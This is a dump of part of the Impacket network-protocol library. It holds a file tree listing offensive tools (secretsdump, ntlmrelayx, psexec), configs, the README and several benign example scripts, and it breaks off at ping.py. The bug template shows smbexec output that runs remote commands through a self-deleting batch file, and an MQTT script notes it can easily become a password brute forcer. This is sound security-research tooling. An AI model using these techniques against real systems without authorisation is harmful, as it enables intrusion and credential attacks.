├── .github ├── ISSUE_TEMPLATE │ └── bug_report.md └── workflows │ └── build_and_test.yml ├── .gitignore ├── .travis.yml ├── ChangeLog ├── Dockerfile ├── LICENSE ├── MANIFEST.in ├── README.md ├── SECURITY.md ├── examples ├── Get-GPPPassword.py ├── GetADUsers.py ├── GetNPUsers.py ├── GetUserSPNs.py ├── addcomputer.py ├── atexec.py ├── dcomexec.py ├── dpapi.py ├── esentutl.py ├── exchanger.py ├── findDelegation.py ├── getArch.py ├── getPac.py ├── getST.py ├── getTGT.py ├── goldenPac.py ├── karmaSMB.py ├── kintercept.py ├── lookupsid.py ├── mimikatz.py ├── mqtt_check.py ├── mssqlclient.py ├── mssqlinstance.py ├── netview.py ├── nmapAnswerMachine.py ├── ntfs-read.py ├── ntlmrelayx.py ├── ping.py ├── ping6.py ├── psexec.py ├── raiseChild.py ├── rdp_check.py ├── reg.py ├── registry-read.py ├── rpcdump.py ├── rpcmap.py ├── sambaPipe.py ├── samrdump.py ├── secretsdump.py ├── services.py ├── smbclient.py ├── smbexec.py ├── smbpasswd.py ├── smbrelayx.py ├── smbserver.py ├── sniff.py ├── sniffer.py ├── split.py ├── ticketConverter.py ├── ticketer.py ├── wmiexec.py ├── wmipersist.py └── wmiquery.py ├── impacket ├── Dot11Crypto.py ├── Dot11KeyManager.py ├── ICMP6.py ├── IP6.py ├── IP6_Address.py ├── IP6_Extension_Headers.py ├── ImpactDecoder.py ├── ImpactPacket.py ├── NDP.py ├── __init__.py ├── cdp.py ├── crypto.py ├── dcerpc │ ├── __init__.py │ └── v5 │ │ ├── __init__.py │ │ ├── atsvc.py │ │ ├── bkrp.py │ │ ├── dcom │ │ ├── __init__.py │ │ ├── comev.py │ │ ├── oaut.py │ │ ├── scmp.py │ │ ├── vds.py │ │ └── wmi.py │ │ ├── dcomrt.py │ │ ├── dhcpm.py │ │ ├── drsuapi.py │ │ ├── dtypes.py │ │ ├── enum.py │ │ ├── epm.py │ │ ├── even.py │ │ ├── even6.py │ │ ├── iphlp.py │ │ ├── lsad.py │ │ ├── lsat.py │ │ ├── mgmt.py │ │ ├── mimilib.py │ │ ├── ndr.py │ │ ├── nrpc.py │ │ ├── nspi.py │ │ ├── oxabref.py │ │ ├── par.py │ │ ├── rpch.py │ │ ├── rpcrt.py │ │ ├── rprn.py │ │ ├── rrp.py │ │ ├── samr.py │ │ ├── sasec.py │ │ ├── scmr.py │ │ ├── srvs.py │ │ ├── transport.py │ │ ├── tsch.py │ │ └── wkst.py ├── dhcp.py ├── dns.py ├── dot11.py ├── dpapi.py ├── eap.py ├── ese.py ├── examples │ ├── __init__.py │ ├── ldap_shell.py │ ├── logger.py │ ├── ntlmrelayx │ │ ├── __init__.py │ │ ├── attacks │ │ │ ├── __init__.py │ │ │ ├── dcsyncattack.py │ │ │ ├── httpattack.py │ │ │ ├── imapattack.py │ │ │ ├── ldapattack.py │ │ │ ├── mssqlattack.py │ │ │ ├── rpcattack.py │ │ │ └── smbattack.py │ │ ├── clients │ │ │ ├── __init__.py │ │ │ ├── dcsyncclient.py │ │ │ ├── httprelayclient.py │ │ │ ├── imaprelayclient.py │ │ │ ├── ldaprelayclient.py │ │ │ ├── mssqlrelayclient.py │ │ │ ├── rpcrelayclient.py │ │ │ ├── smbrelayclient.py │ │ │ └── smtprelayclient.py │ │ ├── servers │ │ │ ├── __init__.py │ │ │ ├── httprelayserver.py │ │ │ ├── smbrelayserver.py │ │ │ ├── socksplugins │ │ │ │ ├── __init__.py │ │ │ │ ├── http.py │ │ │ │ ├── https.py │ │ │ │ ├── imap.py │ │ │ │ ├── imaps.py │ │ │ │ ├── mssql.py │ │ │ │ ├── smb.py │ │ │ │ └── smtp.py │ │ │ ├── socksserver.py │ │ │ └── wcfrelayserver.py │ │ └── utils │ │ │ ├── __init__.py │ │ │ ├── config.py │ │ │ ├── enum.py │ │ │ ├── ssl.py │ │ │ ├── targetsutils.py │ │ │ └── tcpshell.py │ ├── os_ident.py │ ├── remcomsvc.py │ ├── rpcdatabase.py │ ├── secretsdump.py │ ├── serviceinstall.py │ ├── smbclient.py │ └── utils.py ├── helper.py ├── hresult_errors.py ├── http.py ├── krb5 │ ├── __init__.py │ ├── asn1.py │ ├── ccache.py │ ├── constants.py │ ├── crypto.py │ ├── gssapi.py │ ├── kerberosv5.py │ ├── keytab.py │ ├── pac.py │ └── types.py ├── ldap │ ├── __init__.py │ ├── ldap.py │ ├── ldapasn1.py │ └── ldaptypes.py ├── mapi_constants.py ├── mqtt.py ├── nmb.py ├── nt_errors.py ├── ntlm.py ├── pcap_linktypes.py ├── pcapfile.py ├── smb.py ├── smb3.py ├── smb3structs.py ├── smbconnection.py ├── smbserver.py ├── spnego.py ├── structure.py ├── system_errors.py ├── tds.py ├── uuid.py ├── version.py ├── winregistry.py └── wps.py ├── requirements.txt ├── setup.py ├── tests ├── ImpactPacket │ ├── __init__.py │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_ICMP6.py │ ├── test_IP6.py │ ├── test_IP6_Address.py │ ├── test_IP6_Extension_Headers.py │ ├── test_TCP.py │ ├── test_TCP_bug_issue7.py │ └── test_ethernet.py ├── SMB_RPC │ ├── __init__.py │ ├── dcetests.cfg │ ├── rundce.sh │ ├── test_bkrp.py │ ├── test_dcomrt.py │ ├── test_dhcpm.py │ ├── test_drsuapi.py │ ├── test_epm.py │ ├── test_even.py │ ├── test_even6.py │ ├── test_fasp.py │ ├── test_ldap.py │ ├── test_lsad.py │ ├── test_lsat.py │ ├── test_mgmt.py │ ├── test_mimilib.py │ ├── test_ndr.py │ ├── test_nmb.py │ ├── test_nrpc.py │ ├── test_ntlm.py │ ├── test_rpch.py │ ├── test_rpcrt.py │ ├── test_rprn.py │ ├── test_rrp.py │ ├── test_samr.py │ ├── test_scmr.py │ ├── test_secretsdump.py │ ├── test_smb.py │ ├── test_smbserver.py │ ├── test_spnego.py │ ├── test_srvs.py │ ├── test_tsch.py │ ├── test_wkst.py │ └── test_wmi.py ├── coveragerc ├── dot11 │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_Dot11Base.py │ ├── test_Dot11Decoder.py │ ├── test_Dot11HierarchicalUpdate.py │ ├── test_FrameControlACK.py │ ├── test_FrameControlCFEnd.py │ ├── test_FrameControlCFEndCFACK.py │ ├── test_FrameControlCTS.py │ ├── test_FrameControlPSPoll.py │ ├── test_FrameControlRTS.py │ ├── test_FrameData.py │ ├── test_FrameManagement.py │ ├── test_FrameManagementAssociationRequest.py │ ├── test_FrameManagementAssociationResponse.py │ ├── test_FrameManagementAuthentication.py │ ├── test_FrameManagementDeauthentication.py │ ├── test_FrameManagementDisassociation.py │ ├── test_FrameManagementProbeRequest.py │ ├── test_FrameManagementProbeResponse.py │ ├── test_FrameManagementReassociationRequest.py │ ├── test_FrameManagementReassociationResponse.py │ ├── test_RadioTap.py │ ├── test_RadioTapDecoder.py │ ├── test_WEPDecoder.py │ ├── test_WEPEncoder.py │ ├── test_WPA.py │ ├── test_WPA2.py │ ├── test_helper.py │ └── test_wps.py ├── misc │ ├── runalltestcases.bat │ ├── runalltestcases.sh │ ├── test_crypto.py │ ├── test_dcerpc_v5_ndr.py │ ├── test_dns.py │ ├── test_dpapi.py │ ├── test_ip6_address.py │ ├── test_krb5_crypto.py │ ├── test_structure.py │ └── test_utils.py ├── runall.sh └── walkmodules.py └── tox.ini /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | ### Configuration 11 | impacket version: 12 | Python version: 13 | Target OS: 14 | 15 | ### Debug Output With Command String 16 | i.e. 17 | smbexec -debug domain/user:password@127.0.0.1 18 | ``` 19 | smbexec -debug domain/user:password@127.0.0.1 20 | [+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] 21 | [+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 22 | [!] Launching semi-interactive shell - Careful what you execute 23 | C:\Windows\system32>net group 24 | [+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat 25 | Traceback (most recent call last): 26 | File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd 27 | func = getattr(self, 'do_' + cmd) 28 | AttributeError: 'RemoteShell' object has no attribute 'do_net' 29 | ``` 30 | 31 | ### PCAP 32 | If applicable, add a packet capture to help explain your problem. 33 | 34 | ### Additional context 35 | Space for additional context, investigative results, suspected issue. 36 | -------------------------------------------------------------------------------- /.github/workflows/build_and_test.yml: -------------------------------------------------------------------------------- 1 | # GitHub Action workflow to build and run Impacket's tests 2 | # 3 | 4 | name: Build and test Impacket 5 | 6 | on: [push, pull_request] 7 | 8 | env: 9 | NO_REMOTE: true 10 | DOCKER_TAG: impacket:latests 11 | 12 | jobs: 13 | test: 14 | name: Run unit tests and build wheel 15 | runs-on: ubuntu-latest 16 | strategy: 17 | fail-fast: false 18 | matrix: 19 | tox-env: [py27, py36, py37, py38] 20 | experimental: [false] 21 | include: 22 | - tox-env: py27 23 | python-version: 2.7 24 | - tox-env: py36 25 | python-version: 3.6 26 | - tox-env: py37 27 | python-version: 3.7 28 | - tox-env: py38 29 | python-version: 3.8 30 | - tox-env: py39 31 | python-version: 3.9 32 | experimental: true 33 | env: 34 | TOXENV: ${{ matrix.tox-env }} 35 | continue-on-error: ${{ matrix.experimental }} 36 | 37 | steps: 38 | - name: Checkout Impacket 39 | uses: actions/checkout@v2 40 | 41 | - name: Setup Python ${{ matrix.python-version }} 42 | uses: actions/setup-python@v2 43 | with: 44 | python-version: ${{ matrix.python-version }} 45 | 46 | - name: Install Python dependencies 47 | run: | 48 | python -m pip install --upgrade pip wheel 49 | python -m pip install flake8 tox -r requirements.txt 50 | 51 | - name: Check syntax errors 52 | run: | 53 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 54 | 55 | - name: Check PEP8 warnings 56 | run: | 57 | flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 58 | 59 | - name: Run unit tests 60 | run: | 61 | tox 62 | 63 | - name: Build wheel artifact 64 | run: | 65 | python setup.py bdist_wheel 66 | 67 | docker: 68 | name: Build docker image 69 | runs-on: ubuntu-latest 70 | continue-on-error: true 71 | steps: 72 | - name: Checkout Impacket 73 | uses: actions/checkout@v2 74 | 75 | - name: Build docker image 76 | run: | 77 | docker build -t ${{ env.DOCKER_TAG }} . 78 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | venv/ 12 | .env/ 13 | .venv/ 14 | build/ 15 | develop-eggs/ 16 | dist/ 17 | downloads/ 18 | eggs/ 19 | .eggs/ 20 | lib/ 21 | lib64/ 22 | parts/ 23 | sdist/ 24 | var/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | Pipfile 30 | Pipfile.lock 31 | 32 | # PyInstaller 33 | # Usually these files are written by a python script from a template 34 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 35 | *.manifest 36 | *.spec 37 | 38 | # Installer logs 39 | pip-log.txt 40 | pip-delete-this-directory.txt 41 | 42 | # Unit test / coverage reports 43 | htmlcov/ 44 | .tox/ 45 | .coverage 46 | .coverage.* 47 | .cache 48 | nosetests.xml 49 | coverage.xml 50 | *,cover 51 | 52 | # bak files 53 | *.bak 54 | 55 | # Translations 56 | *.mo 57 | *.pot 58 | 59 | # Django stuff: 60 | *.log 61 | 62 | # Sphinx documentation 63 | docs/_build/ 64 | 65 | # PyBuilder 66 | target/ 67 | 68 | # macOS 69 | .DS_Store 70 | 71 | # PyCharm 72 | .idea 73 | -------------------------------------------------------------------------------- /.travis.yml: -------------------------------------------------------------------------------- 1 | group: travis_latest 2 | os: linux 3 | dist: focal 4 | language: python 5 | cache: pip 6 | 7 | jobs: 8 | include: 9 | - python: 2.7 10 | env: NO_REMOTE=true, TOXENV=py27 11 | - python: 3.6 12 | env: NO_REMOTE=true, TOXENV=py36 13 | - python: 3.7 14 | env: NO_REMOTE=true, TOXENV=py37 15 | - python: 3.8 16 | env: NO_REMOTE=true, TOXENV=py38 17 | - python: 3.9-dev 18 | env: NO_REMOTE=true, TOXENV=py39 19 | allow_failures: 20 | - python: 3.9-dev 21 | 22 | install: python -m pip install flake8 tox -r requirements.txt 23 | 24 | before_script: 25 | # stop the build if there are Python syntax errors or undefined names 26 | - flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics 27 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide 28 | - flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics 29 | 30 | script: tox 31 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine as compile 2 | WORKDIR /opt 3 | RUN apk add --no-cache git gcc musl-dev python3-dev libffi-dev openssl-dev cargo 4 | RUN python3 -m pip install virtualenv 5 | RUN virtualenv -p python venv 6 | ENV PATH="/opt/venv/bin:$PATH" 7 | RUN git clone --depth 1 https://github.com/SecureAuthCorp/impacket.git 8 | RUN python3 -m pip install impacket/ 9 | 10 | FROM python:3.8-alpine 11 | COPY --from=compile /opt/venv /opt/venv 12 | ENV PATH="/opt/venv/bin:$PATH" 13 | ENTRYPOINT ["/bin/sh"] -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include MANIFEST.in 2 | include LICENSE 3 | include ChangeLog 4 | include README.md 5 | include SECURITY.md 6 | 7 | include requirements.txt 8 | 9 | include tox.ini 10 | recursive-include examples tests *.txt *.py 11 | recursive-include tests * 12 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | What is Impacket? 2 | ================= 3 | 4 | Impacket is a collection of Python classes for working with network 5 | protocols. Impacket is focused on providing low-level 6 | programmatic access to the packets and for some protocols (e.g. 7 | SMB1-3 and MSRPC) the protocol implementation itself. 8 | Packets can be constructed from scratch, as well as parsed from 9 | raw data, and the object oriented API makes it simple to work with 10 | deep hierarchies of protocols. The library provides a set of tools 11 | as examples of what can be done within the context of this library. 12 | 13 | A description of some of the tools can be found at: 14 | https://www.secureauth.com/labs/open-source-tools/impacket 15 | 16 | What protocols are featured? 17 | ---------------------------- 18 | 19 | * Ethernet, Linux "Cooked" capture. 20 | * IP, TCP, UDP, ICMP, IGMP, ARP. 21 | * IPv4 and IPv6 Support. 22 | * NMB and SMB1, SMB2 and SMB3 (high-level implementations). 23 | * MSRPC version 5, over different transports: TCP, SMB/TCP, SMB/NetBIOS and HTTP. 24 | * Plain, NTLM and Kerberos authentications, using password/hashes/tickets/keys. 25 | * Portions/full implementation of the following MSRPC interfaces: EPM, DTYPES, LSAD, LSAT, NRPC, RRP, SAMR, SRVS, WKST, SCMR, BKRP, DHCPM, EVEN6, MGMT, SASEC, TSCH, DCOM, WMI, OXABREF, NSPI, OXNSPI. 26 | * Portions of TDS (MSSQL) and LDAP protocol implementations. 27 | 28 | 29 | Getting Impacket 30 | ================ 31 | 32 | * [Current and past releases](https://github.com/SecureAuthCorp/impacket/releases) 33 | * [Trunk](https://github.com/SecureAuthCorp/impacket) 34 | 35 | Setup 36 | ===== 37 | 38 | Quick start 39 | ----------- 40 | 41 | Grab the latest stable release, unpack it and run `python3 -m pip install .` (`python2 -m pip install .` for Python 2.x) from the directory where you placed it. Isn't that easy? 42 | 43 | Installing 44 | ---------- 45 | 46 | In order to install the source execute the following command from the 47 | directory where the Impacket's distribution has been unpacked: `python3 -m pip install .` (`python2 -m pip install . `for Python 2.x). 48 | This will install the classes into the default 49 | Python modules path; note that you might need special permissions to 50 | write there. 51 | 52 | Testing 53 | ------- 54 | 55 | If you want to run the library test cases you need to do mainly three things: 56 | 57 | 1. Install and configure a Windows 2012 R2 Domain Controller. 58 | * Be sure the RemoteRegistry service is enabled and running. 59 | 2. Configure the [dcetest.cfg](https://github.com/SecureAuthCorp/impacket/blob/impacket_0_9_23/tests/SMB_RPC/dcetests.cfg) file with the necessary information 60 | 3. Install tox (`python3 -m pip install tox`) 61 | 62 | Once that's done, you can run `tox` and wait for the results. If all goes well, all test cases should pass. 63 | You will also have a coverage HTML report located at `impacket/tests/htlmcov/index.html` 64 | 65 | Docker Support 66 | -------------- 67 | 68 | Build Impacket's image: 69 | 70 | docker build -t "impacket:latest" . 71 | 72 | Using Impacket's image: 73 | 74 | docker run -it --rm "impacket:latest" 75 | 76 | Licensing 77 | ========= 78 | 79 | This software is provided under a slightly modified version of 80 | the Apache Software License. See the accompanying [LICENSE](LICENSE) file for 81 | more information. 82 | 83 | SMBv1 and NetBIOS support based on Pysmb by Michael Teo. 84 | 85 | Disclaimer 86 | ========== 87 | 88 | The spirit of this Open Source initiative is to help security researchers, 89 | and the community, speed up research and educational activities related to 90 | the implementation of networking protocols and stacks. 91 | 92 | The information in this repository is for research and educational purposes 93 | and not meant to be used in production environments and/or as part 94 | of commercial products. 95 | 96 | If you desire to use this code or some part of it for your own uses, we 97 | recommend applying proper security development life cycle and secure coding 98 | practices, as well as generate and track the respective indicators of 99 | compromise according to your needs. 100 | 101 | 102 | Contact Us 103 | ========== 104 | 105 | Whether you want to report a bug, send a patch, or give some suggestions 106 | on this package, drop us a few lines at oss@secureauth.com. 107 | 108 | For security-related questions check our [security policy](SECURITY.md). 109 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | Security Policy 2 | =============== 3 | 4 | Although this initiative is not meant to be used in productive environments, 5 | if you consider that you have identified an issue that might affect the 6 | security of its users, or you understand that the tool is being abused, 7 | you can contact us at oss-security@secureauth.com. 8 | -------------------------------------------------------------------------------- /examples/esentutl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # ESE utility. Allows dumping catalog, pages and tables. 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Extensive Storage Engine (ese) 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import sys 23 | import logging 24 | import argparse 25 | 26 | from impacket.examples import logger 27 | from impacket import version 28 | from impacket.ese import ESENT_DB 29 | 30 | 31 | def dumpPage(ese, pageNum): 32 | data = ese.getPage(pageNum) 33 | data.dump() 34 | 35 | def exportTable(ese, tableName): 36 | cursor = ese.openTable(tableName) 37 | if cursor is None: 38 | logging.error('Can"t get a cursor for table: %s' % tableName) 39 | return 40 | 41 | i = 1 42 | print("Table: %s" % tableName) 43 | while True: 44 | try: 45 | record = ese.getNextRow(cursor) 46 | except Exception: 47 | logging.debug('Exception:', exc_info=True) 48 | logging.error('Error while calling getNextRow(), trying the next one') 49 | continue 50 | 51 | if record is None: 52 | break 53 | print("*** %d" % i) 54 | for j in list(record.keys()): 55 | if record[j] is not None: 56 | print("%-30s: %r" % (j, record[j])) 57 | i += 1 58 | 59 | def main(): 60 | print(version.BANNER) 61 | # Init the example's logger theme 62 | logger.init() 63 | 64 | parser = argparse.ArgumentParser(add_help = True, description = "Extensive Storage Engine utility. Allows dumping " 65 | "catalog, pages and tables.") 66 | parser.add_argument('databaseFile', action='store', help='ESE to open') 67 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 68 | parser.add_argument('-page', action='store', help='page to open') 69 | 70 | subparsers = parser.add_subparsers(help='actions', dest='action') 71 | 72 | # dump page 73 | dump_parser = subparsers.add_parser('dump', help='dumps an specific page') 74 | dump_parser.add_argument('-page', action='store', required=True, help='page to dump') 75 | 76 | # info page 77 | subparsers.add_parser('info', help='dumps the catalog info for the DB') 78 | 79 | # export page 80 | export_parser = subparsers.add_parser('export', help='dumps the catalog info for the DB') 81 | export_parser.add_argument('-table', action='store', required=True, help='table to dump') 82 | 83 | if len(sys.argv)==1: 84 | parser.print_help() 85 | sys.exit(1) 86 | 87 | options = parser.parse_args() 88 | 89 | if options.debug is True: 90 | logging.getLogger().setLevel(logging.DEBUG) 91 | # Print the Library's installation path 92 | logging.debug(version.getInstallationPath()) 93 | else: 94 | logging.getLogger().setLevel(logging.INFO) 95 | 96 | ese = ESENT_DB(options.databaseFile) 97 | 98 | try: 99 | if options.action.upper() == 'INFO': 100 | ese.printCatalog() 101 | elif options.action.upper() == 'DUMP': 102 | dumpPage(ese, int(options.page)) 103 | elif options.action.upper() == 'EXPORT': 104 | exportTable(ese, options.table) 105 | else: 106 | raise Exception('Unknown action %s ' % options.action) 107 | except Exception as e: 108 | if logging.getLogger().level == logging.DEBUG: 109 | import traceback 110 | traceback.print_exc() 111 | print(e) 112 | ese.close() 113 | 114 | 115 | if __name__ == '__main__': 116 | main() 117 | sys.exit(1) 118 | -------------------------------------------------------------------------------- /examples/getArch.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # This script will connect against a target (or list of targets) machine/s and gather the OS architecture type 12 | # installed. 13 | # The trick has been discovered many years ago and is actually documented by Microsoft here: 14 | # https://msdn.microsoft.com/en-us/library/cc243948.aspx#Appendix_A_53 15 | # and doesn't require any authentication at all. 16 | # 17 | # Have in mind this trick will *not* work if the target system is running Samba. Don't know what happens with macOS. 18 | # 19 | # Author: 20 | # beto (@agsolino) 21 | # 22 | # Reference for: 23 | # RPCRT, NDR 24 | # 25 | 26 | from __future__ import division 27 | from __future__ import print_function 28 | import argparse 29 | import logging 30 | import sys 31 | 32 | from impacket import version 33 | from impacket.examples import logger 34 | from impacket.dcerpc.v5.rpcrt import DCERPCException 35 | from impacket.dcerpc.v5.transport import DCERPCTransportFactory 36 | from impacket.dcerpc.v5.epm import MSRPC_UUID_PORTMAP 37 | 38 | 39 | class TARGETARCH: 40 | def __init__(self, options): 41 | self.__machinesList = list() 42 | self.__options = options 43 | self.NDR64Syntax = ('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0') 44 | 45 | def run(self): 46 | if self.__options.targets is not None: 47 | for line in self.__options.targets.readlines(): 48 | self.__machinesList.append(line.strip(' \r\n')) 49 | else: 50 | self.__machinesList.append(self.__options.target) 51 | 52 | logging.info('Gathering OS architecture for %d machines' % len(self.__machinesList)) 53 | logging.info('Socket connect timeout set to %s secs' % self.__options.timeout) 54 | 55 | for machine in self.__machinesList: 56 | try: 57 | stringBinding = r'ncacn_ip_tcp:%s[135]' % machine 58 | transport = DCERPCTransportFactory(stringBinding) 59 | transport.set_connect_timeout(int(self.__options.timeout)) 60 | dce = transport.get_dce_rpc() 61 | dce.connect() 62 | try: 63 | dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=self.NDR64Syntax) 64 | except DCERPCException as e: 65 | if str(e).find('syntaxes_not_supported') >= 0: 66 | print('%s is 32-bit' % machine) 67 | else: 68 | logging.error(str(e)) 69 | pass 70 | else: 71 | print('%s is 64-bit' % machine) 72 | 73 | dce.disconnect() 74 | except Exception as e: 75 | #import traceback 76 | #traceback.print_exc() 77 | logging.error('%s: %s' % (machine, str(e))) 78 | 79 | # Process command-line arguments. 80 | if __name__ == '__main__': 81 | # Init the example's logger theme 82 | logger.init() 83 | print(version.BANNER) 84 | 85 | parser = argparse.ArgumentParser(add_help = True, description = "Gets the target system's OS architecture version") 86 | parser.add_argument('-target', action='store', help='') 87 | parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query Arch ' 88 | 'from (one per line). ') 89 | parser.add_argument('-timeout', action='store', default='2', help='socket timeout out when connecting to the target (default 2 sec)') 90 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 91 | 92 | if len(sys.argv)==1: 93 | parser.print_help() 94 | sys.exit(1) 95 | 96 | options = parser.parse_args() 97 | 98 | if options.target is None and options.targets is None: 99 | logging.error('You have to specify a target!') 100 | sys.exit(1) 101 | 102 | if options.debug is True: 103 | logging.getLogger().setLevel(logging.DEBUG) 104 | # Print the Library's installation path 105 | logging.debug(version.getInstallationPath()) 106 | else: 107 | logging.getLogger().setLevel(logging.INFO) 108 | 109 | try: 110 | getArch = TARGETARCH(options) 111 | getArch.run() 112 | except (Exception, KeyboardInterrupt) as e: 113 | if logging.getLogger().level == logging.DEBUG: 114 | import traceback 115 | traceback.print_exc() 116 | logging.error(str(e)) 117 | sys.exit(0) 118 | -------------------------------------------------------------------------------- /examples/mqtt_check.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # Simple MQTT example aimed at playing with different login options. Can be converted into a account/password 12 | # brute forcer quite easily. 13 | # 14 | # Author: 15 | # Alberto Solino (@agsolino) 16 | # 17 | # Reference for: 18 | # MQTT and Structure 19 | # 20 | 21 | from __future__ import print_function 22 | 23 | import argparse 24 | import logging 25 | import sys 26 | 27 | from impacket import version 28 | from impacket.examples import logger 29 | from impacket.examples.utils import parse_target 30 | from impacket.mqtt import CONNECT_ACK_ERROR_MSGS, MQTTConnection 31 | 32 | class MQTT_LOGIN: 33 | def __init__(self, username, password, target, options): 34 | self._options = options 35 | self._username = username 36 | self._password = password 37 | self._target = target 38 | 39 | if self._username == '': 40 | self._username = None 41 | 42 | def run(self): 43 | mqtt = MQTTConnection(self._target, int(self._options.port), self._options.ssl) 44 | 45 | if self._options.client_id is None: 46 | clientId = ' ' 47 | else: 48 | clientId = self._options.client_id 49 | 50 | mqtt.connect(clientId, self._username, self._password) 51 | 52 | logging.info(CONNECT_ACK_ERROR_MSGS[0]) 53 | 54 | if __name__ == '__main__': 55 | # Init the example's logger theme 56 | logger.init() 57 | print(version.BANNER) 58 | parser = argparse.ArgumentParser(add_help=False, 59 | description="MQTT login check") 60 | parser.add_argument("--help", action="help", help='show this help message and exit') 61 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') 62 | parser.add_argument('-client-id', action='store', help='Client ID used when authenticating (default random)') 63 | parser.add_argument('-ssl', action='store_true', help='turn SSL on') 64 | parser.add_argument('-port', action='store', default='1883', help='port to connect to (default 1883)') 65 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') 66 | 67 | try: 68 | options = parser.parse_args() 69 | except Exception as e: 70 | logging.error(str(e)) 71 | sys.exit(1) 72 | 73 | if options.debug is True: 74 | logging.getLogger().setLevel(logging.DEBUG) 75 | # Print the Library's installation path 76 | logging.debug(version.getInstallationPath()) 77 | else: 78 | logging.getLogger().setLevel(logging.INFO) 79 | 80 | domain, username, password, address = parse_target(options.target) 81 | 82 | check_mqtt = MQTT_LOGIN(username, password, address, options) 83 | try: 84 | check_mqtt.run() 85 | except Exception as e: 86 | if logging.getLogger().level == logging.DEBUG: 87 | import traceback 88 | traceback.print_exc() 89 | logging.error(e) 90 | -------------------------------------------------------------------------------- /examples/mssqlinstance.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a slightly modified version 7 | # of the Apache Software License. See the accompanying LICENSE file 8 | # for more information. 9 | # 10 | # Description: 11 | # [MC-SQLR] example. Retrieves the instances names from the target host 12 | # 13 | # Author: 14 | # Alberto Solino (@agsolino) 15 | # 16 | # Reference for: 17 | # Structure 18 | # 19 | 20 | from __future__ import division 21 | from __future__ import print_function 22 | import argparse 23 | import sys 24 | import logging 25 | 26 | from impacket.examples import logger 27 | from impacket import version, tds 28 | 29 | if __name__ == '__main__': 30 | 31 | print(version.BANNER) 32 | # Init the example's logger theme 33 | logger.init() 34 | 35 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.") 36 | 37 | parser.add_argument('host', action='store', help='target host') 38 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer') 39 | 40 | if len(sys.argv)==1: 41 | parser.print_help() 42 | sys.exit(1) 43 | 44 | options = parser.parse_args() 45 | 46 | ms_sql = tds.MSSQL(options.host) 47 | instances = ms_sql.getInstances(int(options.timeout)) 48 | if len(instances) == 0: 49 | "No MSSQL Instances found" 50 | else: 51 | for i, instance in enumerate(instances): 52 | logging.info("Instance %d" % i) 53 | for key in list(instance.keys()): 54 | print(key + ":" + instance[key]) 55 | -------------------------------------------------------------------------------- /examples/ping.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # Impacket - Collection of Python classes for working with network protocols. 3 | # 4 | # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. 5 | # 6 | # This software is provided under a 